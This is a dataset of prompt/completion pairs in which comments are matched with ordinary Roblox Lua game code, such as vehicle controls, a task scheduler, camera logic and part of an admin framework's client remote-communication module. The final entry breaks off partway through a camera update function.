prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Variables |
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
|
-------------------------------------- |
local function weldBetween(a, b, weldName)
local weld = Instance.new("Weld", a)
weld.Name = weldName
weld.C0 = a.CFrame:inverse() * b.CFrame
weld.Part0 = a
weld.Part1 = b
end
ToggleEngineEvent.OnServerEvent:Connect(function(plr) -- Toggle Engine
if not EngineOn and BoatControlActivated then
EngineOn = true
EngineOnVal.Value = true
ToggleEngineEvent:FireClient(plr, EngineOn)
MainPart.Main:Play()
elseif EngineOn then
ReducingSpeed = true
EngineOn = false
EngineOnVal.Value = false
ToggleEngineEvent:FireClient(plr, EngineOn)
if MainPart.Horn.isPlaying then
MainPart.Horn:Pause()
end
MainPart.Main:Pause()
for i = Thrust, 1, -1 do
Thrust = Thrust - 1
ThrustVal.Value = Thrust
local x,y,z = MainPart.BodyGyro.CFrame:ToOrientation()
if not(x == 0) then
MainPart.BodyGyro.CFrame = CFrame.fromOrientation((math.abs(x)/x)*(math.rad(Thrust/10)),y,math.rad(Thrust/25))
else
MainPart.BodyGyro.CFrame = CFrame.fromOrientation(x,y,math.rad(Thrust/elevationAngle))
end
if EngineOn then
break
end
wait(.05)
end
MainPart.BodyVelocity.Velocity = Vector3.new(0,0,0)
end
ReducingSpeed = false
end)
SteerEvent.OnServerEvent:Connect(function(plr, steer)
if steer == 1 and EngineOn then
if not ReducingSpeed then
if Thrust >= 0 then
TurnAngle = -turnSpeed
elseif Thrust < 0 then
TurnAngle = turnSpeed
end
end
local rot = CFrame.fromEulerAnglesXYZ(0,TurnAngle,0)
MainPart.BodyGyro.CFrame = (rot*(MainPart.BodyGyro.CFrame-MainPart.BodyGyro.CFrame.p))+MainPart.BodyGyro.CFrame.p
local x,y,z = MainPart.BodyGyro.CFrame:ToOrientation()
MainPart.BodyGyro.CFrame = CFrame.fromOrientation(math.rad(Thrust/turnAngleDiv),y,z)
elseif steer == -1 and EngineOn then
if not ReducingSpeed then
if Thrust >= 0 then
TurnAngle = turnSpeed
elseif Thrust < 0 then
TurnAngle = -turnSpeed
end
end
local rot = CFrame.fromEulerAnglesXYZ(0,TurnAngle,0)
MainPart.BodyGyro.CFrame = (rot*(MainPart.BodyGyro.CFrame-MainPart.BodyGyro.CFrame.p))+MainPart.BodyGyro.CFrame.p
local x,y,z = MainPart.BodyGyro.CFrame:ToOrientation()
MainPart.BodyGyro.CFrame = CFrame.fromOrientation(math.rad(-Thrust/turnAngleDiv),y,z)
elseif steer == 0 and EngineOn then
TurnAngle = 0
local x,y,z = MainPart.BodyGyro.CFrame:ToOrientation()
MainPart.BodyGyro.CFrame = CFrame.fromOrientation(0,y,z)
end
end)
ThrottleEvent.OnServerEvent:Connect(function(plr, throttle)
if neutral then
neutral = false
GearShiftSound:Play()
end
if throttle == 0 then
neutral = true
end
Thrust = throttle
local x,y,z = MainPart.BodyGyro.CFrame:ToOrientation()
MainPart.BodyGyro.CFrame = CFrame.fromOrientation(x,y,math.rad(Thrust/100))
ThrustVal.Value = Thrust
end)
ToggleSoundEvent.OnServerEvent:Connect(function(plr,sound,val)
if val then
sound:Play()
elseif not val then
sound:Pause()
end
end)
ThrustersEvent.OnServerEvent:Connect(function(plr,speed)
if EngineOn and THRUSTERS_ENABLED then
SideThrusterSpeed = speed
end
end)
while wait() do
if EngineOn or ReducingSpeed then
MainPart.BodyVelocity.Velocity = (MainPart.CFrame.rightVector * (Thrust/speedDiv)) + (MainPart.CFrame.lookVector * SideThrusterSpeed)
MainPart.Main.PlaybackSpeed = 1+ math.abs(Thrust/150)
end
end
|
--[[
Assert that our expectation value is truthy
]] |
function Expectation:ok()
local result = (self.value ~= nil) == self.successCondition
local message = formatMessage(self.successCondition,
("Expected value %q to be non-nil"):format(
tostring(self.value)
),
("Expected value %q to be nil"):format(
tostring(self.value)
)
)
assertLevel(result, message, 3)
self:_resetModifiers()
return self
end
|
-- Everything below can be illustrated and tuned with the graph below.
-- https://www.desmos.com/calculator/oishj9m1tq
-- This includes everything, from the engines, to boost, to electric. | |
-- Helper function to lazily instantiate a controller if it does not yet exist,
-- disable the active controller if it is different from the on being switched to,
-- and then enable the requested controller. The argument to this function must be
-- a reference to one of the control modules, i.e. Keyboard, Gamepad, etc. |
function ControlModule:SwitchToController(controlModule)
if not controlModule then
if self.activeController then
self.activeController:Enable(false)
end
self.activeController = nil
self.activeControlModule = nil
else
if not self.controllers[controlModule] then
self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY)
end
if self.activeController ~= self.controllers[controlModule] then
if self.activeController then
self.activeController:Enable(false)
end
self.activeController = self.controllers[controlModule]
self.activeControlModule = controlModule -- Only used to check if controller switch is necessary
if self.touchControlFrame and (self.activeControlModule == TouchThumbpad
or self.activeControlModule == TouchThumbstick
or self.activeControlModule == ClickToMove
or self.activeControlModule == DynamicThumbstick) then
if not self.controllers[TouchJump] then
self.controllers[TouchJump] = TouchJump.new()
end
self.touchJumpController = self.controllers[TouchJump]
self.touchJumpController:Enable(true, self.touchControlFrame)
else
if self.touchJumpController then
self.touchJumpController:Enable(false)
end
end
self:EnableActiveControlModule()
end
end
end
function ControlModule:OnLastInputTypeChanged(newLastInputType)
if lastInputType == newLastInputType then
warn("LastInputType Change listener called with current type.")
end
lastInputType = newLastInputType
if lastInputType == Enum.UserInputType.Touch then
-- TODO: Check if touch module already active
local touchModule, success = self:SelectTouchModule()
if success then
while not self.touchControlFrame do
wait()
end
self:SwitchToController(touchModule)
end
elseif computerInputTypeToModuleMap[lastInputType] ~= nil then
local computerModule = self:SelectComputerMovementModule()
if computerModule then
self:SwitchToController(computerModule)
end
end
end
|
-- print(hasAnyWater) |
if hasAnyWater then
if script.Parent.Parent.Charges.Value < 100 then
script.Parent.Parent.Charges.Value = script.Parent.Parent.Charges.Value + 25
script.Parent.FillSound:stop()
script.Parent.FillSound.Pitch = math.random(5,15) / 10
script.Parent.FillSound:play()
end
end
end
function alsowater(hit)
if hit.Name:lower() == "water" then
if script.Parent.Parent.Charges.Value < 100 then
script.Parent.Parent.Charges.Value = script.Parent.Parent.Charges.Value + 50
script.Parent.FillSound:stop()
script.Parent.FillSound.Pitch = math.random(5,15) / 10
script.Parent.FillSound:play()
end
end
end
script.Parent.Touched:connect(alsowater)
|
--[[
param targetFps Task scheduler won't run a task if it'd make the FPS drop below this amount
(WARNING) this only holds true if it is used properly. If you try to complete 10 union operations
at once in a single task then of course your FPS is going to drop -- queue the union operations
up one at a time so the task scheduler can do its job.
returns scheduler
method Pause Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is
paused. They just won't be touched until it's resumed. Performance efficient -- disables
execution loop entirely until scheduler is resumed.
method Resume Resumes the paused scheduler.
method Destroy Destroys the scheduler so it can't be used anymore.
method QueueTask Queues a task for automatic execution.
param callback function (task) to be run.
Example usage:
local scheduler = TaskScheduler:CreateScheduler(60)
local totalOperations = 0
local paused
for i=1,100 do
scheduler:QueueTask(function()
local partA = Instance.new("Part", workspace)
local partB = Instance.new("Part", workspace)
plugin:Union({partA, partB}):Destroy()
totalOperations = totalOperations + 1
print("Times unioned:", totalOperations)
if (totalOperations == 50) then
scheduler:Pause()
paused = true
end
end)
end
repeat wait() until paused
wait(2)
scheduler:Resume()
--]] |
function TaskScheduler:CreateScheduler(targetFps)
local scheduler = {}
local queue = {}
local sleeping = true
local paused
local updateFrameTableEvent = nil
local start = tick()
runService.RenderStepped:Wait()
local function UpdateFrameTable()
lastIteration = tick()
for i = #frameUpdateTable,1,-1 do
frameUpdateTable[i + 1] = ((frameUpdateTable[i] >= (lastIteration - 1)) and frameUpdateTable[i] or nil)
end
frameUpdateTable[1] = lastIteration
end
local function Loop()
updateFrameTableEvent = runService.RenderStepped:Connect(UpdateFrameTable)
while (true) do
if (sleeping) then break end
local fps = (((tick() - start) >= 1 and #frameUpdateTable) or (#frameUpdateTable / (tick() - start)))
if (fps >= targetFps and (tick() - frameUpdateTable[1]) < (1 / targetFps)) then
if (#queue > 0) then
queue[1]()
table.remove(queue, 1)
else
sleeping = true
break
end
else
runService.RenderStepped:Wait()
end
end
updateFrameTableEvent:Disconnect()
updateFrameTableEvent = nil
end
function scheduler.Pause(_s)
paused = true
sleeping = true
end
function scheduler.Resume(_s)
if (paused) then
paused = false
sleeping = false
Loop()
end
end
function scheduler.Destroy(_s)
scheduler:Pause()
for i in pairs(scheduler) do
scheduler[i] = nil
end
setmetatable(scheduler, {
__index = function()
error("Attempt to use destroyed scheduler")
end;
__newindex = function()
error("Attempt to use destroyed scheduler")
end;
})
end
function scheduler.QueueTask(_s, callback)
queue[#queue + 1] = callback
if (sleeping and not paused) then
sleeping = false
Loop()
end
end
return scheduler
end
return TaskScheduler
|
--bendarobloxian 2020, Owner Title Script Version 4.1 | Now supporting rainbow colors | |
-- assume we are in the character, let's check |
function sepuku()
script.Parent = nil
end
local debris = game:GetService("Debris")
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local torso = script.Parent:FindFirstChild("HumanoidRootPart")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .75 -- things float at > 1
local fire = Instance.new("Fire")
fire.Parent = head
fire.Heat = 10
fire.Size = 3
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off
for i=1,#c do
if c[i].className == "Part" then
if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function jumpIt()
local mass = recursiveGetLift(h.Parent)
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,mass * 2,0)
force.Parent = torso
debris:AddItem(force,0.5)
end
local con = h.Jumping:connect(jumpIt)
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.6
local oldMaxHealth = h.MaxHealth
h.MaxHealth = oldMaxHealth * 1.5
h.Health = h.MaxHealth
local bodySpin = Instance.new("BodyAngularVelocity")
bodySpin.P = 200000
bodySpin.angularvelocity = Vector3.new(0,15,0)
bodySpin.maxTorque = Vector3.new(bodySpin.P,bodySpin.P,bodySpin.P)
bodySpin.Parent = torso
wait(30)
fire:Destroy()
h.WalkSpeed = oldSpeed
h.MaxHealth = oldMaxHealth
if h.Health > 60 then
h.Health = 60
end
con:disconnect()
bodySpin:Destroy()
sepuku()
|
--[=[
@within Matter
:::info Topologically-aware function
This function is only usable if called within the context of [`Loop:begin`](/api/Loop#begin).
:::
Returns the `os.clock()` time delta between the start of this and last frame.
]=] |
local function useDeltaTime(): number
local state = topoRuntime.useFrameState()
return state.deltaTime
end
return useDeltaTime
|
--Dynamic Traffic Light made by DerDiebKommt. Only edit the things that the script says to edit. |
while true do --This makes the script do a loop.
script.Parent.Green.PointLight.Enabled = false
script.Parent.Yellow.PointLight.Enabled = false
script.Parent.Red.PointLight.Enabled = true
script.Parent.Green.Transparency = 0.5
script.Parent.Yellow.Transparency = 0.5
script.Parent.Red.Transparency = 0
wait(25) --Edit this if you want the time faster/slower for Green to go to Yellow.
script.Parent.Green.PointLight.Enabled = true
script.Parent.Yellow.PointLight.Enabled = false
script.Parent.Red.PointLight.Enabled = false
script.Parent.Green.Transparency = 0
script.Parent.Yellow.Transparency = 0.5
script.Parent.Red.Transparency = 0.5
wait(25) --Edit this if you want the time faster/slower for Yellow to go to Red.
script.Parent.Green.PointLight.Enabled = false
script.Parent.Yellow.PointLight.Enabled = true
script.Parent.Red.PointLight.Enabled = false
script.Parent.Green.Transparency = 0.5
script.Parent.Yellow.Transparency = 0
script.Parent.Red.Transparency = 0.5
wait(5) --Edit this if you want the time faster/slower for Red to go to Green.
end --This makes the script do a loop.
|
--Functions |
function open()
local mag = (doora.PrimaryPart.Position-script.Parent.Parent.Ahit.Position).magnitude
for j = 0,1,speed/mag do
local scf = doora.PrimaryPart.CFrame
doora:SetPrimaryPartCFrame(scf:lerp(script.Parent.Parent.Ahit.CFrame,j))
wait()
local magg = (doora.PrimaryPart.Position-script.Parent.Parent.Ahit.Position).magnitude
if magg <= 0.1 then break end
end
end
function close()
local mag = (doora.PrimaryPart.Position-script.Parent.Parent.OrigAhit.Position).magnitude
for j = 0,1,speed/mag do
local scf = doora.PrimaryPart.CFrame
doora:SetPrimaryPartCFrame(scf:lerp(script.Parent.Parent.OrigAhit.CFrame,j))
wait()
local magg = (doora.PrimaryPart.Position-script.Parent.Parent.OrigAhit.Position).magnitude
if magg <= 0.1 then break end
end
doora:SetPrimaryPartCFrame(doora.PrimaryPart.CFrame:lerp(script.Parent.Parent.OrigAhit.CFrame))
end |
-------------------------------------------- |
local Signal = {}
Signal.__index = Signal
function Signal.new(maid)
local self = setmetatable({
_bindable = Instance.new("BindableEvent");
_connections = {};
_args = {};
_threads = 0;
_id = 0;
}, Signal)
if (maid) then
maid:GiveTask(self)
end
return self
end
function Signal.Proxy(rbxScriptSignal, maid)
assert(typeof(rbxScriptSignal) == "RBXScriptSignal", "Argument #1 must be of type RBXScriptSignal")
local signal = Signal.new(maid)
signal:_setProxy(rbxScriptSignal)
return signal
end
function Signal.Is(obj)
return (type(obj) == "table" and getmetatable(obj) == Signal)
end
function Signal:_setProxy(rbxScriptSignal)
assert(typeof(rbxScriptSignal) == "RBXScriptSignal", "Argument #1 must be of type RBXScriptSignal")
self:_clearProxy()
self._proxyHandle = rbxScriptSignal:Connect(function(...)
self:Fire(...)
end)
end
function Signal:_clearProxy()
if (self._proxyHandle) then
self._proxyHandle:Disconnect()
self._proxyHandle = nil
end
end
function Signal:Fire(...)
local totalListeners = (#self._connections + self._threads)
if (totalListeners == 0) then return end
local id = self._id
self._id += 1
self._args[id] = {totalListeners, {n = select("#", ...), ...}}
self._threads = 0
self._bindable:Fire(id)
end
function Signal:Wait()
self._threads += 1
local id = self._bindable.Event:Wait()
local args = self._args[id]
args[1] -= 1
if (args[1] <= 0) then
self._args[id] = nil
end
return table.unpack(args[2], 1, args[2].n)
end
function Signal:WaitPromise()
return Promise.new(function(resolve)
resolve(self:Wait())
end)
end
function Signal:Connect(handler)
local connection = Connection.new(self, self._bindable.Event:Connect(function(id)
local args = self._args[id]
args[1] -= 1
if (args[1] <= 0) then
self._args[id] = nil
end
handler(table.unpack(args[2], 1, args[2].n))
end))
table.insert(self._connections, connection)
return connection
end
function Signal:DisconnectAll()
for _,c in ipairs(self._connections) do
if (c._conn) then
c._conn:Disconnect()
end
end
self._connections = {}
self._args = {}
end
function Signal:Destroy()
self:DisconnectAll()
self:_clearProxy()
self._bindable:Destroy()
end
return Signal
|
-- Resizes a model to the specified scale |
local function scaleModel(model, scale)
local primary = model.PrimaryPart
local primaryCf = primary.CFrame
for _,v in pairs(model:GetDescendants()) do
if (v:IsA("BasePart")) then
v.Size = (v.Size * scale)
if (v ~= primary) then
v.CFrame = (primaryCf + (primaryCf:inverse() * v.Position * scale))
end
end
end
return model
end
|
--// Remote |
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Remote.Init = nil;
end
local function RunAfterLoaded()
--// Report client finished loading
log("~! Fire client loaded")
client.Remote.Send("ClientLoaded")
--// Ping loop
log("~! Start ClientCheck loop");
delay(5, function() service.StartLoop("ClientCheck", 30, Remote.CheckClient, true) end)
--// Get settings
log("Get settings");
local settings = client.Remote.Get("Setting",{"G_API","Allowed_API_Calls","HelpButtonImage"})
if settings then
client.G_API = settings.G_API
--client.G_Access = settings.G_Access
--client.G_Access_Key = settings.G_Access_Key
--client.G_Access_Perms = settings.G_Access_Perms
client.Allowed_API_Calls = settings.Allowed_API_Calls
client.HelpButtonImage = settings.HelpButtonImage
else
log("~! GET SETTINGS FAILED?")
warn("FAILED TO GET SETTINGS FROM SERVER");
end
Remote.RunAfterLoaded = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Remote.RunLast = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Remote = {
Init = Init;
RunLast = RunLast;
RunAfterLoaded = RunAfterLoaded;
Returns = {};
PendingReturns = {};
EncodeCache = {};
DecodeCache = {};
Received = 0;
Sent = 0;
CheckClient = function()
if os.time() - Core.LastUpdate >= 10 then
Remote.Send("ClientCheck", {
Sent = Remote.Sent or 0;
Received = Remote.Received;
}, client.DepsName)
end
end;
Returnables = {
Test = function(args)
return "HELLO FROM THE CLIENT SIDE :)! ", unpack(args)
end;
Ping = function(args)
return Remote.Ping()
end;
ClientHooked = function(args)
return Core.Special
end;
TaskManager = function(args)
local action = args[1]
if action == "GetTasks" then
local tab = {}
for i,v in next,service.GetTasks() do
local new = {}
new.Status = v.Status
new.Name = v.Name
new.Index = v.Index
new.Created = v.Created
new.CurrentTime = os.time()
new.Function = tostring(v.Function)
table.insert(tab,new)
end
return tab
end
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
return func(unpack(args, 2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
return handler(unpack(args, 2))
end
end;
UIKeepAlive = function(args)
if Variables.UIKeepAlive then
for ind,g in next,client.GUIs do
if g.KeepAlive then
if g.Class == "ScreenGui" or g.Class == "GuiMain" then
g.Object.Parent = service.Player.PlayerGui
elseif g.Class == "TextLabel" then
g.Object.Parent = UI.GetHolder()
end
g.KeepAlive = false
end
end
end
return true;
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
return UI.Make(guiName, guiData, themeData)
end;
InstanceList = function(args)
local objects = service.GetAdonisObjects()
local temp = {}
for i,v in pairs(objects) do
table.insert(temp, {
Text = v:GetFullName();
Desc = v.ClassName;
})
end
return temp
end;
ClientLog = function(args)
local temp={}
local function toTab(str, desc, color)
for i,v in next,service.ExtractLines(str) do
table.insert(temp, {Text = v; Desc = desc..v; Color = color;})
end
end
for i,v in next,service.LogService:GetLogHistory() do
local mType = v.messageType
toTab(v.message, (mType == Enum.MessageType.MessageWarning and "Warning" or mType == Enum.MessageType.MessageInfo and "Info" or mType == Enum.MessageType.MessageError and "Error" or "Output").." - ", mType == Enum.MessageType.MessageWarning and Color3.new(0.866667, 0.733333, 0.0509804) or mType == Enum.MessageType.MessageInfo and Color3.new(0.054902, 0.305882, 1) or mType == Enum.MessageType.MessageError and Color3.new(1, 0.196078, 0.054902))
end
return temp
end;
LocallyFormattedTime = function(args)
if type(args[1]) == "table" then
local results = {}
for i, t in ipairs(args[1]) do
results[i] = service.FormatTime(t, select(2, unpack(args)))
end
return results
end
return service.FormatTime(unpack(args))
end;
};
UnEncrypted = {
LightingChange = function(prop, val)
print(prop, "TICKLE ME!?")
Variables.LightingChanged = true
service.Lighting[prop] = val
Anti.LastChanges.Lighting = prop
wait(.1)
Variables.LightingChanged = false
print("TICKLED :)",Variables.LightingChanged)
if Anti.LastChanges.Lighting == prop then
Anti.LastChanges.Lighting = nil
end
end
};
Commands = {
GetReturn = function(args)
print("THE SERVER IS ASKING US FOR A RETURN");
local com = args[1]
local key = args[2]
local parms = {unpack(args, 3)}
local retfunc = Remote.Returnables[com]
local retable = (retfunc and {pcall(retfunc,parms)}) or {}
if retable[1] ~= true then
logError(retable[2])
Remote.Send("GiveReturn", key, "__ADONIS_RETURN_ERROR", retable[2])
else
print("SENT RETURN");
Remote.Send("GiveReturn", key, unpack(retable,2))
end
end;
GiveReturn = function(args)
print("SERVER GAVE US A RETURN")
if Remote.PendingReturns[args[1]] then
print("VALID PENDING RETURN")
Remote.PendingReturns[args[1]] = nil
service.Events[args[1]]:Fire(unpack(args, 2))
end
end;
SessionData = function(args)
local sessionKey = args[1];
if sessionKey then
service.Events.SessionData:Fire(sessionKey, table.unpack(args, 2))
end
end;
SetVariables = function(args)
local vars = args[1]
for var, val in pairs(vars) do
Variables[var] = val
end
end;
Print = function(args)
print(unpack(args))
end;
FireEvent = function(args)
service.FireEvent(unpack(args))
end;
Test = function(args)
print("OK WE GOT COMMUNICATION! ORGL: "..tostring(args[1]))
end;
TestError = function(args)
error("THIS IS A TEST ERROR")
end;
TestEvent = function(args)
Remote.PlayerEvent(args[1],unpack(args,2))
end;
LoadCode = function(args)
local code = args[1]
local func = Core.LoadCode(code, GetEnv())
if func then
return func()
end
end;
LaunchAnti = function(args)
Anti.Launch(args[1],args[2])
end;
UI = function(args)
local guiName = args[1]
local themeData = args[2]
local guiData = args[3]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
RemoveUI = function(args)
UI.Remove(args[1],args[2])
end;
RefreshUI = function(args)
local guiName = args[1]
local ignore = args[2]
UI.Remove(guiName,ignore)
local themeData = args[3]
local guiData = args[4]
Variables.LastServerTheme = themeData or Variables.LastServerTheme;
UI.Make(guiName,guiData,themeData)
end;
StartLoop = function(args)
local name = args[1]
local delay = args[2]
local code = args[3]
local func = Core.LoadCode(code, GetEnv())
if name and delay and code and func then
service.StartLoop(name,delay,func)
end
end;
StopLoop = function(args)
service.StopLoop(args[1])
end;
Function = function(args)
local func = client.Functions[args[1]]
if func and type(func) == "function" then
Pcall(func,unpack(args,2))
end
end;
Handler = function(args)
local handler = client.Handlers[args[1]]
if handler and type(handler) == "function" then
Pcall(handler, unpack(args, 2))
end
end;
};
Fire = function(...)
local limits = Process.RateLimits
local limit = (limits and limits.Remote) or 0.01;
local RemoteEvent = Core.RemoteEvent;
local extra = {...};
if RemoteEvent and RemoteEvent.Object then
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
RemoteEvent.Object:FireServer({Mode = "Fire", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
wait(limit);
end)
end
end;
Send = function(com,...)
Core.LastUpdate = os.time()
Remote.Fire(Remote.Encrypt(com,Core.Key),...)
end;
GetFire = function(...)
local RemoteEvent = Core.RemoteEvent;
local limits = Process.RateLimits;
local limit = (limits and limits.Remote) or 0.02;
local extra = {...};
local returns;
if RemoteEvent and RemoteEvent.Function then
local Yield = service.Yield();
service.Queue("REMOTE_SEND", function()
Remote.Sent = Remote.Sent+1;
delay(0, function() -- Wait for return in new thread; We don't want to hold the entire fire queue up while waiting for one thing to return since we just want to limit fire speed;
returns = {
RemoteEvent.Function:InvokeServer({
Mode = "Get",
Module = client.Module,
Loader = client.Loader,
Sent = Remote.Sent,
Received = Remote.Received
}, unpack(extra))
}
Yield:Release(returns);
end)
wait(limit)
end)
if not returns then
Yield:Wait();
end
Yield:Destroy();
if returns then
return unpack(returns)
end
end
end;
RawGet = function(...)
local extra = {...};
local RemoteEvent = Core.RemoteEvent;
if RemoteEvent and RemoteEvent.Function then
Remote.Sent = Remote.Sent+1;
return RemoteEvent.Function:InvokeServer({Mode = "Get", Module = client.Module, Loader = client.Loader, Sent = Remote.Sent, Received = Remote.Received}, unpack(extra));
end
end;
Get = function(com,...)
Core.LastUpdate = os.time()
local ret = Remote.GetFire(Remote.Encrypt(com,Core.Key),...)
if type(ret) == "table" then
return unpack(ret);
else
return ret;
end
end;
OldGet = function(com,...)
local returns
local key = Functions:GetRandom()
local waiter = service.New("BindableEvent");
local event = service.Events[key]:Connect(function(...) print("WE ARE GETTING A RETURN!") returns = {...} waiter:Fire() wait() waiter:Fire() waiter:Destroy() end)
Remote.PendingReturns[key] = true
Remote.Send("GetReturn",com,key,...)
print(string.format("GETTING RETURNS? %s", tostring(returns)))
--returns = returns or {event:Wait()}
waiter.Event:Wait();
print(string.format("WE GOT IT! %s", tostring(returns)))
event:Disconnect()
if returns then
if returns[1] == "__ADONIS_RETURN_ERROR" then
error(returns[2])
else
return unpack(returns)
end
else
return nil
end
end;
Ping = function()
local t = time()
local ping = Remote.Get("Ping")
if not ping then return false end
local t2 = time()
local mult = 10^3
local ms = ((math.floor((t2-t)*mult+0.5)/mult)*1000)
return ms
end;
PlayerEvent = function(event,...)
Remote.Send("PlayerEvent",event,...)
end;
Encrypt = function(str, key, cache)
cache = cache or Remote.EncodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local byte = string.byte
local sub = string.sub
local char = string.char
local keyCache = cache[key] or {}
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key) + 1
endStr[i] = char(((byte(sub(str, i, i)) + byte(sub(key, keyPos, keyPos)))%126) + 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
Decrypt = function(str, key, cache)
cache = cache or Remote.DecodeCache or {}
if not key or not str then
return str
elseif cache[key] and cache[key][str] then
return cache[key][str]
else
local keyCache = cache[key] or {}
local byte = string.byte
local sub = string.sub
local char = string.char
local endStr = {}
for i = 1, #str do
local keyPos = (i % #key)+1
endStr[i] = char(((byte(sub(str, i, i)) - byte(sub(key, keyPos, keyPos)))%126) - 1)
end
endStr = table.concat(endStr)
cache[key] = keyCache
keyCache[str] = endStr
return endStr
end
end;
}
end
|
-- Movement mode standardized to Enum.ComputerCameraMovementMode values |
function ClassicCamera:SetCameraMovementMode( cameraMovementMode )
BaseCamera.SetCameraMovementMode(self,cameraMovementMode)
self.isFollowCamera = cameraMovementMode == Enum.ComputerCameraMovementMode.Follow
end
function ClassicCamera:Test()
print("ClassicCamera:Test()")
end
function ClassicCamera:GetCameraSubjectOffset()
if self:IsInFirstPerson() then
return Vector3.new(0, 0, 0)
elseif self.portraitMode then
return PORTRAIT_OFFSET
elseif self.isSmallTouchScreen then
return MOBILE_OFFSET
end
return Vector3.new(0, 0, 0)
end
function ClassicCamera:Update()
local now = tick()
local timeDelta = (now - self.lastUpdate)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local overrideCameraLookVector = nil
if FFlagUserNewDefaultCameraAngle and self.resetCameraAngle then
local rootPart = self:GetHumanoidRootPart()
if rootPart then
overrideCameraLookVector = (rootPart.CFrame * INITIAL_CAMERA_ANGLE).lookVector
else
overrideCameraLookVector = INITIAL_CAMERA_ANGLE.lookVector
end
self.resetCameraAngle = false
end
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastCameraTransform = nil
end
if self.lastUpdate then
local gamepadRotation = self:UpdateGamepad()
if self:ShouldUseVRRotation() then
self.rotateInput = self.rotateInput + self:GetVRRotationInput()
else
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, timeDelta)
if gamepadRotation ~= ZERO_VECTOR2 then
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
end
local angle = 0
if not (isInVehicle or isOnASkateboard) then
angle = angle + (self.turningLeft and -120 or 0)
angle = angle + (self.turningRight and 120 or 0)
end
if angle ~= 0 then
self.rotateInput = self.rotateInput + Vector2.new(math.rad(angle * delta), 0)
end
end
end
-- Reset tween speed if user is panning
if self.userPanningTheCamera then
tweenSpeed = 0
self.lastUserPanCamera = tick()
end
local userRecentlyPannedCamera = now - self.lastUserPanCamera < TIME_BEFORE_AUTO_ROTATE
local subjectPosition = self:GetSubjectPosition()
if subjectPosition and player and camera then
